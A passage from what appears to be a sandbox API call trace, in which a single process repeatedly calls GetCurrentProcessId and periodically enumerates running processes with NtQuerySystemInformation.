0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.114] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.115] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.116] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.117] GetCurrentProcessId () returned 0x10c0 [0281.656] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dfd8) returned 0x0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.658] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.659] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.660] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.661] GetCurrentProcessId () returned 0x10c0 [0281.662] GetCurrentProcessId () returned 0x10c0 [0281.662] GetCurrentProcessId () returned 0x10c0 [0281.662] GetCurrentProcessId () returned 0x10c0 [0281.662] GetCurrentProcessId () returned 0x10c0 [0281.662] GetCurrentProcessId () returned 0x10c0 [0281.662] GetCurrentProcessId () returned 0x10c0 [0281.662] GetCurrentProcessId () returned 0x10c0 [0281.662] GetCurrentProcessId () returned 0x10c0 [0282.178] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dfd8) returned 0x0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.180] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.181] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.182] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.183] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.184] GetCurrentProcessId () returned 0x10c0 [0282.720] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dfd8) returned 0x0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.722] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.723] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.724] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.725] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0282.726] GetCurrentProcessId () returned 0x10c0 [0283.239] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dfd8) returned 0x0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.316] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.317] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.318] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.319] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.320] GetCurrentProcessId () returned 0x10c0 [0283.914] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dfd8) returned 0x0 [0283.917] GetCurrentProcessId () returned 0x10c0 [0283.917] GetCurrentProcessId () returned 0x10c0 [0283.917] GetCurrentProcessId () returned 0x10c0 [0283.917] GetCurrentProcessId () returned 0x10c0 [0283.917] GetCurrentProcessId () returned 0x10c0 